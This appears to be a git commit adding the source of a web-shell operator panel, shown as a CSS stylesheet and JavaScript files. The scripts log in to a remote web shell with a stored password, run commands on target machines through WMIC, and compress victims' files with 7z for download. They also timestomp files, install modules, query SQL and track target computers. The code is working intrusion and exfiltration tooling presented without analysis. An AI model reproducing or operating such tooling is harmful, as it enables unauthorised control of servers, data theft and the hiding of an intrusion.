This commit is contained in:
blackorbird
2019-04-18 11:19:12 +08:00
parent f6c2839353
commit b3c7e3e449
495 changed files with 73786 additions and 0 deletions

View File

@@ -0,0 +1,784 @@
body, html {
margin: 0;
padding: 0;
direction: ltr;
/*background: linear-gradient(-135deg, #c850c0, #4158d0);*/
background: #4c4c4c;
color: #000 !important;
}
form {
margin: 0;
}
/** {
font: 14px arial;
}*/
* {
font-size: 14px;
}
/*.ui.input input {
padding:0.608em 1em !important
}*/
t {
width: 180px;
display: inline-block;
text-align: right;
padding-right: 5px;
}
g {
margin-left: 30px;
}
input[type="text"], input[type="file"], textarea {
width: 60%;
background: #cbcbcb;
color: #000;
border: 1px solid #999;
margin-bottom: 3px;
}
input[type="text"] {
padding: 2px;
}
input[type="button"], input[type="submit"] {
height: 23px;
}
input[type="checkbox"] {
width: 23px;
height: 24px;
position: absolute;
margin: 0;
}
hr {
margin: 0;
border: 0;
border-top: 1px solid #fff;
}
.h {
width: 90px;
text-align: center;
/*background: #6435c9;*/
color: #000;
vertical-align: middle;
}
table {
margin: 0;
border-collapse: collapse;
}
td {
padding:0
}
.b {
padding:5px;
}
body {
/*flex-direction: column;
display: flex;
padding: 10px;*/
/*font-family: Lato,'Helvetica Neue',Arial,Helvetica,sans-serif*/
}
div.tbbt {
overflow: hidden;
border: 1px solid #ccc;
background-color: #aaa
}
div.tbbt button {
background-color: inherit;
float: left;
border: none;
outline: none;
cursor: pointer;
padding: 14px 16px;
transition: 0.3s;
/*font-size: 17px;*/
}
div.tbbt button:hover {
background-color: #ddd
}
div.tbbt button.active {
background-color: #ccc
}
.tb {
display: none;
border: 1px solid #ccc;
border-top: none;
background-color: #aaa
}
.loader {
border: 3px solid #f3f3f3;
border-radius: 50%;
border-top: 3px solid #3498db;
width: 16px;
height: 16px;
-webkit-animation: spin 2s linear infinite;
animation: spin 2s linear infinite;
position: absolute;
}
@-webkit-keyframes spin {
0% {
-webkit-transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(360deg);
}
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
#objFrame {
padding: 0 5px 5px 5px
}
.objRight {
display: table;
padding: 0 5px;
cursor: pointer;
float: left;
line-height: 24px;
border-radius: 0 5px 5px 0;
}
.objD {
background-color: #23a4ff
}
.objD:hover {
background-color: #63beff
}
.objN {
background-color: #23d7ff
}
.objN:hover {
background-color: #72e5ff
}
.objF {
margin-top: 5px;
min-height: 24px;
}
.objLeft {
position: relative;
padding: 0 5px;
float: left;
width: 90px;
background-color: #c3c3c3;
border-radius: 5px 0 0 5px;
line-height: 24px;
}
.objS {
text-align: right;
cursor: default;
overflow: hidden;
max-height: 24px;
min-height: 24px;
}
.objS:hover {
background-color: #d3d3d3;
}
.objB {
padding: 0 5px;
float: left;
line-height: 24px;
}
.objL {
display: inline-block;
margin-left: 3px;
}
.objLocHolder {
padding: 0 5px 0 5px;
min-height: 24px;
margin-top: 5px;
}
.objError {
background-color: #ff2e2e;
color: white;
}
.objError:hover {
background-color: #8a1b1b;
}
.driveSizeProgress {
width: 200px;
border: 1px solid white;
background-color: #d8d6d6;
height: 24px;
float: left;
margin-left: 5px;
border-radius: 5px;
}
.driveSizeProgress div {
background-color: #26a0da;
height: 22px;
border-radius: 5px;
}
.driveSizeText {
float: left;
margin-left: 5px;
}
.driveSizeText .t {
padding: 0 5px;
display: inline-block;
color: #444444;
border: 1px solid #e0e0e0;
border-radius: 5px 0 0 5px;
line-height: 22px;
}
.driveSizeText .v {
background-color: #e0e0e0;
padding: 0 5px;
display: inline-block;
border-radius: 0 5px 5px 0;
line-height: 24px;
}
.cat {
float: left;
/*padding-top: 5px;*/
}
#log {
/*flex: 1 0;
overflow-y: scroll;
min-height: 500px;*/
margin: 0;
padding-top: 5px;
color: #fff;
font-family: "Lucida Console";
}
.iCmd {
float: left;
margin-left: 5px;
border-radius: 5px;
cursor: pointer;
background-color: #d6d6d6;
display: inline-block;
padding: 0 5px;
line-height: 20px;
user-select: none;
border: 2px solid;
}
.iInput {
float: left;
margin-left: 5px;
border: 2px solid;
border-radius: 5px;
}
.iInput .t {
display: inline-block;
color: #444444;
border-radius: 5px 0 0 5px;
cursor: default;
background-color: #cbcbcb;
}
.iInput .t input {
border: none;
margin: 0;
padding: 0 5;
line-height: 22px;
background: none;
width: 100px;
height: 20px;
}
.iInput .v {
background-color: #d6d6d6;
padding: 0 5px;
display: inline-block;
border-radius: 0 5px 5px 0;
cursor: pointer;
border-left: 2px solid;
line-height: 20px;
}
.iInput.iRename {
color: #a291fb;
border-color: #a291fb;
}
.iInput.iRename .v {
border-color: #a291fb;
}
.iInput.iRename .v:hover {
color: #fff;
background-color: #8a73ff;
border-color: #8a73ff;
}
.iInput.iRename .v:active {
background-color: #7860f9;
}
.iInput.iCopy {
color: #a96216;
border-color: #a96216;
}
.iInput.iCopy .v {
border-color: #a96216;
}
.iInput.iCopy .v.copy {
border-radius: 0;
}
.iInput.iCopy .v:hover {
color: #fff;
background-color: #c86f11;
}
.iInput.iCopy .v:active {
background-color: #a96216;
}
.iDownload {
color: #ff5bd1;
border-color: #ff5bd1;
}
.iDownload:hover {
color: #fff;
border-color: #ff74d8;
background-color: #ff74d8;
}
.iDownload:active {
background-color: #ff5bd1;
}
.iDelete {
color: #dc73ff;
border-color: #dc73ff;
}
.iDelete:hover {
color: #fff;
border-color: #d65aff;
background-color: #d65aff;
}
.iDelete:active {
background-color: #cf40ff;
}
:after, :before {
box-sizing: inherit;
}
.loadingM:before {
position: absolute;
content: '';
top: 50%;
left: 50%;
margin: -0.65em 0em 0em -0.65em;
width: 1.3em;
height: 1.3em;
border-radius: 10px;
border: 0.2em solid rgba(0, 0, 0, 0.15);
}
.loadingM:after {
position: absolute;
content: '';
top: 50%;
left: 50%;
margin: -0.65em 0em 0em -0.65em;
width: 1.3em;
height: 1.3em;
-webkit-animation: button-spin 0.6s linear;
animation: button-spin 0.6s linear;
-webkit-animation-iteration-count: infinite;
animation-iteration-count: infinite;
border-radius: 500rem;
border-color: #FFFFFF transparent transparent;
border-style: solid;
border-width: 0.2em;
box-shadow: 0px 0px 0px 1px transparent;
}
.loadingM {
position: relative;
cursor: default;
text-shadow: none !important;
color: transparent !important;
opacity: 1;
pointer-events: auto;
-webkit-transition: all 0s linear,opacity .1s ease;
transition: all 0s linear,opacity .1s ease;
box-shadow: 0 0 0 0 rgba(34,36,38,.15) inset;
}
@-webkit-keyframes button-spin {
from {
-webkit-transform: rotate(0deg);
transform: rotate(0deg);
}
to {
-webkit-transform: rotate(360deg);
transform: rotate(360deg);
}
}
@keyframes button-spin {
from {
-webkit-transform: rotate(0deg);
transform: rotate(0deg);
}
to {
-webkit-transform: rotate(360deg);
transform: rotate(360deg);
}
}
.ml10 {
margin-left:10px !important;
}
.ml5 {
margin-left: 5px !important;
}
/*.button {
cursor: pointer;
display: inline-block;
min-height: 1em;
outline: 0;
border: none;
vertical-align: baseline;
background: #767676 none;
color: #fff;
padding: 10px 15px;
text-transform: none;
text-shadow: none;
font-weight: 700;
line-height: 1em;
font-style: normal;
text-align: center;
text-decoration: none;
border-radius: .28571429rem;
box-shadow: 0 0 0 1px transparent inset, 0 0 0 0 rgba(34,36,38,.15) inset;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
-webkit-transition: opacity .1s ease,background-color .1s ease,color .1s ease,box-shadow .1s ease,background .1s ease;
transition: opacity .1s ease,background-color .1s ease,color .1s ease,box-shadow .1s ease,background .1s ease;
will-change: '';
-webkit-tap-highlight-color: transparent;
}
.button:hover {
background-color: #838383;
}*/
/*.active.button {
background-color: #21ba45 !important;
background-image: none !important;
box-shadow: 0 0 0 1px transparent inset !important;
}
.active.button:hover {
background-color: #16ab39 !important;
}*/
/*.error.button {
background-color: #ff695e !important;
background-image: none !important;
box-shadow: 0 0 0 1px transparent inset !important;
}
.error.button:hover {
background-color: #ff5144 !important;
}*/
.button {
margin-right:0 !important
}
.micon {
display: inline-block;
opacity: 1;
width: 16px;
height: 16px;
float: left;
margin-right: 3px;
}
.micon.compress {
background: url('img/box-zipper.png')
}
.micon.heart-empty {
background: url('img/heart-empty.png')
}
.micon.download-cloud {
background: url('img/download-cloud.png')
}
.micon.minus-button {
background: url('img/minus-button.png')
}
.active .micon.heart-empty {
background: url('img/heart.png');
}
.error .micon.heart-empty {
background: url('img/exclamation-diamond.png');
}
input.login:-webkit-autofill, input.login:-webkit-autofill:focus {
-webkit-box-shadow: 0 0 0px 1000px #21ba45 inset;
}
input.logout:-webkit-autofill, input.logout:-webkit-autofill:focus {
-webkit-box-shadow: 0 0 0px 1000px #db2828 inset;
}
.login {
background-color: #21ba45 !important;
}
.logout {
background-color: #db2828 !important;
}
.button.loading.active i,
.button.loading.error i,
.button.loading i {
background: none !important;
}
/*.button.loading:before {
border: 0.2em solid rgba(0, 0, 0, 0.3);
width: 16px;
height: 16px;
margin:-8px 0 0 -8px;
}
.button.loading:after {
width: 16px;
height: 16px;
margin: -8px 0 0 -8px;
}*/
.objF .checkbox {
float: left;
margin: 3px 5px 0 0;
}
.objDate {
background: none;
border: 1px solid #23a4ff;
border-radius: 0;
line-height: 22px;
cursor: auto;
}
#loc {
}
.formLabel {
width: 150px;
display: inline-block;
text-align: right;
}
.contentPlace {
padding: 10px;
/*background-color: #424242 !important*/
}
.rightButton {
position: fixed;
top: 17px;
padding: 0px;
margin: 0px;
width: 35px;
height: 90px;
background: #000;
z-index: 15;
border-radius: 5px 0px 0px 5px;
cursor: pointer;
border: 1px solid #fff;
border-right: none;
right: 259px;
backface-visibility: visible !important;
visibility: visible;
}
.ui.right.sidebar {
overflow-y:visible !important;
}
.rightButton span {
color: #fff;
-moz-transform: rotate(-90deg);
-ms-transform: rotate(-90deg);
-o-transform: rotate(-90deg);
-webkit-transform: rotate(-90deg);
display: block;
}
/*.icon.big {
right: 23px;
bottom: 30px;
position: fixed;
background: #fff;
width: 32px;
height: 32px;
border-radius:3px;
cursor:pointer
}
.icon.big:before {
font-size: 24px !important;
line-height: 32px;
}*/
.ui.card.download {
margin: 5px 0 0 5px;
width: 242px
}
body ::-webkit-scrollbar-thumb {
background: rgba(255, 255, 255, 0.54);
}
.ui.form .fields {
margin: 0 -.5em 5px !important;
}
.ui.form .field {
margin: 0 0 5px;
}
.ui.compact.labeled.icon.button {
height:36px;
}
.ui.compact.labeled.icon.button i {
width: 44px;
}
.ui.segment {
background:#ffffff61;
border-color: #fff;
padding: 0;
}
.ui.attached.segment {
border-color: #fff;
}
.ui.tabular.menu {
border-color: #fff;
}
.ui.tabular.menu .active.item {
background: #ffffff61;
border: 1px solid #fff;
border-bottom: none;
margin-bottom: 0;
}
.ui.tabular.menu .item {
border-left: none;
border-right: none;
border-bottom: 1px solid #fff;
}
.ui.attached.tabular.menu {
border:none
}
.ui.tabular.menu .active.item:hover {
cursor: default;
color: #000
}
.ui.tabular.menu .item {
color:rgba(255,255,255,0.8);
}
.ui.tabular.menu .item:hover {
color: #fff;
}
.dropdown-table-item, .item .hidden-label {
display: none;
}
.item .dropdown-table-item, .hidden-label {
display:inline-table;
}
.dropdown-table-header {
width: 100%;
border-bottom: 1px solid #ccc
}
.dropdown-table-item {
width: 100%;
}
.dropdown-table-header td {
padding: 5px 0;
}
.dropdown-table-header .clmn1, .dropdown-table-item .clmn1 {width:180px}
.dropdown-table-header .clmn2, .dropdown-table-item .clmn2 {width:180px}
.dropdown-table-header .clmn3, .dropdown-table-item .clmn3 {width:180px}
.dropdown-table-header .clmn4, .dropdown-table-item .clmn4 {width:200px}
.dropdown-table-header .clmn5, .dropdown-table-item .clmn5 {}
.dropdown-table-header .clmn6, .dropdown-table-item .clmn6 {width:120px}
.sqlTable {
font-family: "Trebuchet MS", Arial, Helvetica, sans-serif;
border-collapse: collapse;
width: 100%;
}
.sqlTable td, #sqlTable th {
border: 1px solid #ddd;
padding: 8px;
}
.sqlTable tr {
background-color: #FFF;
}
.sqlTable tr:nth-child(even) {
background-color: #f2f2f2;
}
.sqlTable tr:hover {
background-color: #ddd;
}
.sqlTable th {
padding-top: 12px;
padding-bottom: 12px;
text-align: left;
background-color: #4CAF50;
color: white;
}

View File

@@ -0,0 +1,617 @@
$(document).ready(function () {
$('#btnLogin').click();
//getLocation(function () { $("#mdlspy").click(); });
//document.getElementById("chkModules").click();
//spyCheckTimer();
//$('#stickyDirCommand')
// .sticky({
// context: '#stickyDirContext'
// });
//$('#tbMain')
// .sticky({
// context: '#log'
// });
$('.ui.dropdown').dropdown();
$('#cmbIP').dropdown({
fullTextSearch: 'exact',
match: 'text',
onLabelSelect: function (selectedLabels) {
var selectedValue = $(selectedLabels).attr('data-value');
if (selectedValue) {
$('#cmdSelectedLocation').text(selectedValue);
setAddress(selectedLabels, selectedValue);
}
},
action: function (text, value) {
console.log(text);
console.log(value);
$(this).dropdown("set selected", value);
$(this).dropdown("refresh");
}
});
$('.menu .item').tab();
$('#inpCmd').focus();
$(".ui.toggle.button").state({
});
$('#TargetComputerTable').DataTable({
"order": [[1, 'asc']],
"paging": false,
"autoWidth": false,
"columnDefs": [
{ "orderable": false, "targets": 0 }
]
});
$(".ui.checkbox").checkbox();
$('#TargetComputersCheckAll').checkbox({
onChecked: function () { TargetComputerSelectAllItem(); },
onUnchecked: function () { TargetComputerDeSelectAllItem(); }
});
$('.ui.button').popup();
LoadStorageSettings();
});
var varNames = {
password:"p",
url: "url",
method: "m",
command: "cmd",
btnLogin: "btnLogin",
lblLocation: "loc",
explorer: "exadd",
getSize: "gsize",
download: "don",
changeTimeHidden:"timeh",
changeTimeFile:"tfil",
changeTimeTarget:"ttar",
changeTimeTime: "ttim",
installModuleName: "mname",
cookieNameUsername:"cookieUsername",
cookieNamePassword:"cookiePassword"
};
var methodID = {
auth : 0,
command : 1,
upload : 2,
uploadbase64 : 3,
delete : 4,
download : 5,
changeTime : 6,
sqlQuery : 7,
explorer: 8,
getsize: 9,
getlocation: 10,
rename: 11,
copy: 12,
view: 13,
commandAjax:14,
downloadTest: 15,
checkModules: 16,
installModule: 17,
uninstallModule: 18,
cmd7z: 19,
authAjax: 20,
getlocationAjax: 21,
spycheck: 22,
localExplore: 23,
multiDelete: 24,
checkDownloadProgress: 25,
getIPFromNbt: 26,
GetLogicDrives: 27,
NetworkDownloaderCheck: 28,
NetworkDownloaderLog: 29,
NetworkDownloaderError: 30,
NetworkDownloaderDone: 31,
NetworkDownloaderDir: 32,
SaveLog: 33,
downloadDemo: 34,
downloadPause: 35,
downloadInfo: 36,
downloadLoad: 37,
downloadClose: 38,
downloadChangeStatusToRequested: 39
};
function copyLoc() {
copyToClipboard(document.getElementById("loc"));
}
function subm() {
//var url = getElementValue(varNames.url);
//var frm = document.getElementsByClassName('form');
//for (var i = 0; i < frm.length; i++) {
// frm.action = url;
//}
//var mmm = document.getElementsByClassName('mmm');
//for (var i = 0; i < mmm.length; i++) {
// mmm[i].value = btoa(mmm[i].value);
//}
}
function reset() {
document.cookie = "data=;expires=Thu, 01 Jan 1970 00:00:01 GMT;path=/";
location.href = location.pathname;
}
//function openTab(ev, nm) {
// var i, tb, tblnk;
// tb = document.getElementsByClassName("tb");
// for (i = 0; i < tb.length; i++) {
// tb[i].style.display = "none";
// }
// tblnk = document.getElementsByClassName("tblnk");
// for (i = 0; i < tblnk.length; i++) {
// tblnk[i].className = "tblnk";
// }
// document.getElementById(nm).style.display = "block";
// ev.className += " active";
// $('#tbMain').sticky('refresh');
//}
//function fixLogSize()
//{
// document.getElementById('log').style.height = "calc(100% - " + document.getElementById('header').offsetHeight + ")";
//}
function loader(sender)
{
//<span id="loader" class="loader" style="display:none"></span>
var ldr = document.createElement("span");
ldr.className = "loader";
ldr.style.top = sender.getBoundingClientRect().top;
ldr.style.left = sender.getBoundingClientRect().left + sender.offsetWidth + 5;
document.body.appendChild(ldr);
return ldr;
}
function print(str, isAppendPrint) {
if (isAppendPrint || typeof isAppendPrint == 'undefined')
{
var log = document.getElementById("log");
log.innerHTML = document.getElementById("log").innerHTML + str + "<br>";
}
else
document.getElementById("log").innerHTML = str;
}
function logout(sender)
{
var urlBox = document.getElementById(varNames.url);
urlBox.value = "";
eraseCookie(varNames.password);
eraseCookie(varNames.url);
urlBox.className = "";
if (spyCheckTimerHandler)
clearTimeout(spyCheckTimerHandler);
$("#mdlspy").removeClass("green");
$("#mdlspy").removeClass("red");
$("#mdlspy").removeClass("blue");
$("#mdlspy").children('.icon').eq(0).attr("class", "large Empty Heart icon");
$('.mdlItem').each(function () {
$(this).removeClass("active");
$(this).removeClass("loading");
});
document.getElementById(varNames.lblLocation).innerText = "";
login(sender);
}
var afterUpload;
function login(sender)
{
var urlBox = document.getElementById(varNames.url);
if (urlBox.value.isEmpty())
{
urlBox.value = readCookie(varNames.url);
}
var UrlP = urlBox.value.split(";");
var url = UrlP[0];
var p = UrlP[1];
urlBox.value = url;
if (p)
{
eraseCookie(varNames.password);
createCookie(varNames.password, p, 144);
}
else
p = readCookie(varNames.password);
eraseCookie(varNames.url);
createCookie(varNames.url, url, 144);
var data = [
{ name: varNames.method, value: methodID.authAjax },
{ name: varNames.url, value: url }
];
if (spyCheckTimerHandler)
clearTimeout(spyCheckTimerHandler);
requestTextResult(data, sender, false, function (res) {
if (res.startsWith("Error"))
print(res);
else {
var data = JSON.parse(res);
if (data.auth.toLowerCase() == "true") {
readCookie(varNames.url);
document.getElementsByName("adminU")[0].value = readCookie(varNames.cookieNameUsername);
document.getElementsByName("adminP")[0].value = readCookie(varNames.cookieNamePassword);
urlBox.className = "login";
//print("Login successful\r\n");
document.getElementById(varNames.lblLocation).innerText = b64DecodeUnicode(data.loc);
$("#mdlspy").click();
spyCheckTimer();
//checkModulesFN(b64DecodeUnicode(data.module));
checkModules(document.getElementById('chkModules'));
DownloadLoad();
TardigradeOnLoad();
if (afterUpload)
afterUpload();
else
setAddress(document.getElementById('btnExpror'), "\\\\localhost");
breadcrumber(url);
} else {
urlBox.className = "logout";
//print("Login failed\r\n");
}
}
});
}
function requestTextResult(data, sender, isPrint, callback, dataIsBinary, isAppendPrint)
{
var loadingClassName = "loadingM";
var loadingElement = null;
if (sender != null) {
loadingElement = $(sender);
if ($(sender).prop("tagName") == "INPUT") {
loadingClassName = "loading";
loadingElement = loadingElement.parent();
}
}
if (sender == null || !loadingElement.hasClass(loadingClassName)) {
//for (var i = 0; i < data.length; i++) {
// createCookie(data[i].name, data[i].value, 144);
//}
var ldr = null;
//if (sender)
// ldr = loader(sender);
//sender.className = sender.className + " loadingM";
if (sender != null)
loadingElement.addClass(loadingClassName);
var info = {
data: data,
onSuccess: function (res, xhr) {
//if(ldr)
// ldr.remove();
var data = res;
if (isPrint)
print(data, isAppendPrint);
if (callback)
callback(res, xhr);
//sender.className = sender.className.replace(" loadingM", "");
if (sender != null)
loadingElement.removeClass(loadingClassName);
},
dataIsBinary: dataIsBinary
};
sendData(info);
}
else
console.log("sender are in loading state");
}
function cmd7za(sender, callback)
{
if ($("#mdl7z").hasClass("active")) {
var files = "";
$(".selectitem.checked").each(function (index) {
files += "\"" + getCurrentAddress() + "\\" + $(this).siblings(".objRight").eq(1).text() + "\" ";
});
var cmd7z = String.format('{0} {1} a "{2}" {3}{4}{5} 2>&1',
moduleFolder + ModuleFileNameTarget.mdl7z,
$("#7zclevel").val(),
$("#7zaddress").val(),
files,
($("#7zvsize").val() == "" ? "" : "-v" + $("#7zvsize").val() + $("#7zvmode").val()),
$("#7zexclude").val()
);
ExecuteCommandWmic(null,
cmd7z.replace(/"/g, '\\"').replace(/>/g, '^>'),
function (res) {
if (callback)
callback(res);
});
//var data = [
// { name: varNames.method, value: methodID.cmd7z },
// { name: "7zclevel", value: $("#7zclevel").val() },
// { name: "7zaddress", value: $("#7zaddress").val() },
// { name: "7zvsize", value: $("#7zvsize").val() },
// { name: "7zvmode", value: $("#7zvmode").val() },
// { name: "7zexclude", value: $("#7zexclude").val() },
// { name: "7zfiles", value: files }
//];
//requestTextResult(data, sender, true,
// function (res) {
// if (callback)
// callback(res);
// else
// document.getElementById('btnExpror').click();
// });
}
else
print("7z module is not installed");
}
function cmd7zdl(sender)
{
$(sender).addClass("loadingM");
var fName7z = getCurrentAddress().replace("\\\\", "").replace(/\\/g, "_").replace(/:/g, "_");
var files = $(".selectitem.checked");
if (files.length == 1)
fName7z += "_" + files.eq(0).siblings(".objRight").eq(1).text();
else
fName7z += "_[" + files.length + "]";
var dt = new Date();
var FileName7z = fName7z + "_" +
dt.getFullYear() + "-" +
(dt.getMonth() + 1) + "-" +
dt.getDate() + "-" +
dt.getHours() + "-" +
dt.getMinutes() + "-" +
dt.getSeconds() + ".7z";
var filename = moduleFolder + FileName7z;
console.log(filename);
$("#7zaddress").val(filename);
cmd7za(document.getElementById("cmd7z"),
function (res) {
print(res);
$(sender).removeClass("loadingM");
var cmdFilesList = "dir /b \"" + moduleFolder + "\" 2>&1";
ExecuteCommand(null, cmdFilesList, function (res) {
if (!res.startsWith("Error")) {
var filesTemp = res.split('\r\n');
var ZipedFiles = [];
for (var l = 0; l < filesTemp.length; l++) {
if (filesTemp[l].startsWith(FileName7z))
ZipedFiles.push(filesTemp[l]);
}
var tempFileList = ZipedFiles.slice();
print("7z files : " + tempFileList);
cmddlListDownload(moduleFolder, tempFileList, function () {
print("Download (" + ZipedFiles.length + ') files is Completed');
}, true);
} else {
print(res);
}
});
//downloadManager(filename, sender, true, true, true );
});
//$("#7zaddress").val("");
}
function cmddl(sender)
{
$(sender).addClass("loadingM");
var currentAddress = getCurrentAddress() + "\\";
var list = [];
$(".selectitem.checked").each(function (index) {
list.push($(this).siblings(".objRight").eq(1).text());
//downloadManager(getCurrentAddress() + "\\" + $(this).siblings(".objRight").eq(1).text(), this, true, false, true );
});
cmddlListDownload(currentAddress, list);
$(sender).removeClass("loadingM");
}
function cmddelete(sender) {
//var files = $(".selectitem.checked");
//if (confirm("Are you sure you want to delete this '" + files.length + "' files?") == true) {
// var filesstr = "";
// var currentAddress = getCurrentAddress();
// files.each(function (index) {
// if (!filesstr.isEmpty())
// filesstr += "|";
// filesstr += b64EncodeUnicode(currentAddress + "\\" + $(this).siblings(".objRight").eq(1).text());
// });
// requestTextResult([
// { name: varNames.method, value: methodID.multiDelete },
// { name: "delete", value: filesstr },
// ], sender, true, function (res) {
// $('#btnExpror').click();
// });
//}
var files = $(".selectitem.checked");
$('#messageDeleteMultiFile').find('[name="message"]').eq(0).text(files.length);
$('#messageDeleteMultiFile')
.modal({
transition: 'horizontal flip',
onDeny: function () {
},
onApprove: function () {
var filesstr = "";
var currentAddress = getCurrentAddress();
files.each(function (index) {
if (!filesstr.isEmpty())
filesstr += "|";
filesstr += b64EncodeUnicode(currentAddress + "\\" + $(this).siblings(".objRight").eq(1).text());
});
requestTextResult([
{ name: varNames.method, value: methodID.multiDelete },
{ name: "delete", value: filesstr },
], sender, true, function (res) {
$('#btnExpror').click();
});
}
})
.modal('show');
}
function changeTime(sender)
{
var data = [
{ name: varNames.method, value: methodID.changeTime },
{ name: varNames.changeTimeHidden, value: getElementValueByName(varNames.changeTimeHidden) },
{ name: varNames.changeTimeFile, value: getElementValueByName(varNames.changeTimeFile) },
{ name: varNames.changeTimeTarget, value: getElementValueByName(varNames.changeTimeTarget) },
{ name: varNames.changeTimeTime, value: getElementValueByName(varNames.changeTimeTime) }
];
requestTextResult(data, sender, true);
}
//function download(sender)
//{
// var url = document.getElementById(varNames.url).value;
// sender.form.action = url;
// var password = readCookie(varNames.password);
// document.getElementById("donPass").value = b64EncodeUnicode(password);
// var don = document.getElementById("donInput");
// don.value = b64EncodeUnicode(don.value);
// var method = document.getElementById("donMethod").value = b64EncodeUnicode(methodID.download);
// sender.form.submit();
// return false;
//}
//function download2(sender)
//{
// var data = [
// { name: varNames.method, value: methodID.download },
// { name: varNames.download, value: getElementValue(varNames.download) }
// ];
// requestTextResult(data, sender, false,
// function (res, xhr)
// {
// if (res.status === 200) {
// var filename = "";
// var disposition = xhr.getResponseHeader('Content-Disposition');
// if (disposition && disposition.indexOf('attachment') !== -1) {
// var filenameRegex = /filename[^;=\n]*=((['"]).*?\2|[^;\n]*)/;
// var matches = filenameRegex.exec(disposition);
// if (matches != null && matches[1]) filename = matches[1].replace(/['"]/g, '');
// }
// var type = xhr.getResponseHeader('Content-Type');
// var blob = typeof File === 'function'
// ? new File([res.response], filename, { type: type })
// : new Blob([res.response], { type: type });
// if (typeof window.navigator.msSaveBlob !== 'undefined') {
// // IE workaround for "HTML7007: One or more blob URLs were revoked by closing the blob for which they were created. These URLs will no longer resolve as the data backing the URL has been freed."
// window.navigator.msSaveBlob(blob, filename);
// } else {
// var URL = window.URL || window.webkitURL;
// var downloadUrl = URL.createObjectURL(blob);
// if (filename) {
// // use HTML5 a[download] attribute to specify filename
// var a = document.createElement("a");
// // safari doesn't support this yet
// if (typeof a.download === 'undefined') {
// window.location = downloadUrl;
// } else {
// a.href = downloadUrl;
// a.download = filename;
// document.body.appendChild(a);
// a.click();
// }
// } else {
// window.location = downloadUrl;
// }
// setTimeout(function () { URL.revokeObjectURL(downloadUrl); }, 100); // cleanup
// }
// }
// },
// true);
//}
function getLocation(callback) {
var data = [
{ name: varNames.method, value: methodID.getlocationAjax }
];
requestTextResult(data, document.getElementById("loc"), false, function (res) {
document.getElementById(varNames.lblLocation).innerText = res;
callback();
});
}
function loadForm()
{
var url = readCookie(varNames.url);
var password = readCookie(varNames.password);
setElementValue(varNames.url, url);
if (url && password)
{
setElementValue(varNames.password, password);
login(document.getElementById(varNames.btnLogin));
}
setElementValue(varNames.command, readCookie(varNames.command));
}
function grabEnter(event, sender)
{
var key = event.keyCode | event.which;
if (key == 13 && event.shiftKey)
{
//sender.form.submit();
//$(sender.form).find('input[type="submit"]').click();
sender.form.submit();
$(sender).parent().next().click();
return false;
}
else if (key == 13)
{
if (sender.name == "cmd")
command(sender);
else {
//$(sender).parent().next().click();
$(sender).next().click();
return false;
}
return false;
}
return true;
}
function sidebarOpen(id)
{
$('#' + id)
.sidebar({
transition: 'overlay',
dimPage: false,
closable: false
})
.sidebar("toggle");
}

View File

@@ -0,0 +1,122 @@
var SendDataMethod = "POST";
var SendDataLocation = location.pathname;
function sendData(info) {
var url = getElementValue(varNames.url);
var p = readCookie(varNames.password);
if (url.isEmpty() || p.isEmpty())
{
info.onSuccess("Error : url or password is empty");
return false;
}
var data = "";
//if (info.isLocal) {
//data = varNames.password + "=" + p;
//for (var i = 0; i < info.data.length; i++) {
// data += "&" + info.data[i].name + "=" + info.data[i].value;
//}
//} else {
data = varNames.password + "=" + encodeURIComponent(btoa(p));
data += "&isajax=1";
for (var i = 0; i < info.data.length; i++) {
data += "&" + info.data[i].name + "=" + encodeURIComponent(b64EncodeUnicode(info.data[i].value));
}
//}
var xh = new XMLHttpRequest();
xh.onreadystatechange = function () {
if (this.readyState == 4)
if (this.status == 200) {
console.log({"data": data, "info": info, "response": this});
if (info.dataIsBinary)
info.onSuccess(this, xh);
else
info.onSuccess(b64DecodeUnicode(this.responseText));
} else {
info.onSuccess("ErrorResponse : status=" + this.status);
}
};
xh.open(SendDataMethod, SendDataLocation, true);
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xh.send(data);
}
function SendDataInfo(data, sender, methodName, methodNumber, isPrint, isAppendPrint, callback) {
var url = getElementValue(varNames.url);
var p = readCookie(varNames.password);
if (url.isEmpty() || p.isEmpty()) {
info.onSuccess("Error : url or password is empty");
return false;
}
var adminU = document.getElementsByName("adminU")[0].value;
var adminP = document.getElementsByName("adminP")[0].value;
var loadingClassName = "loadingM";
var loadingElement = null;
if (sender != null) {
loadingElement = $(sender);
if ($(sender).prop("tagName") == "INPUT") {
loadingClassName = "loading";
loadingElement = loadingElement.parent();
}
}
if (sender == null || !loadingElement.hasClass(loadingClassName)) {
var ldr = null;
if (sender != null)
loadingElement.addClass(loadingClassName);
var info = {
MethodName: methodName,
Input: {
Url: b64EncodeUnicode(url),
Password: b64EncodeUnicode(p),
AdminUsername: b64EncodeUnicode(adminU),
AdminPassword: b64EncodeUnicode(adminP),
MethodNumber: methodNumber,
MethodInput: data
},
onSuccess: function (res) {
if (isPrint && res.JustPrint)
print(res.JustPrint, isAppendPrint);
if (callback)
callback(res);
if (sender != null)
loadingElement.removeClass(loadingClassName);
}
};
SendDataAjax(info);
}
else
console.log("sender are in loading state");
}
function SendDataAjax(info) {
$.ajax({
type: 'POST',
url: window.location + '/' + info.MethodName,
contentType: 'application/json; charset=utf-8',
dataType: 'text',
data: JSON.stringify({ input: info.Input }),
success: function (result, status, xhr) {
var response = JSON.parse(b64DecodeUnicode(result));
console.log(response);
info.onSuccess(response);
},
error: function (xhr, status, error) {
console.log('xhr :');
console.log(xhr);
console.log('status :');
console.log(status);
console.log('error :');
console.log(error);
info.onSuccess({ Error: "ErrorResponse : status = " + error });
}
});
}

View File

@@ -0,0 +1,128 @@
function b64DecodeUnicode(str) {
return decodeURIComponent(Array.prototype.map.call(atob(str), function (c) {
return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2)
}).join(''))
}
function b64EncodeUnicode(str) {
return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function (match, p1) {
return String.fromCharCode(parseInt(p1, 16))
}))
}
String.prototype.isEmpty = function () {
return (this.length === 0 || !this.trim());
}
if (!String.format) {
String.format = function (format) {
var args = Array.prototype.slice.call(arguments, 1);
return format.replace(/{(\d+)}/g, function (match, number) {
return typeof args[number] != 'undefined'
? args[number]
: match
;
});
};
}
function getElementValue(name) {
return document.getElementById(name).value;
}
function getElementValueByName(name) {
return document.getElementsByName(name)[0].value;
}
function setElementValue(name, value) {
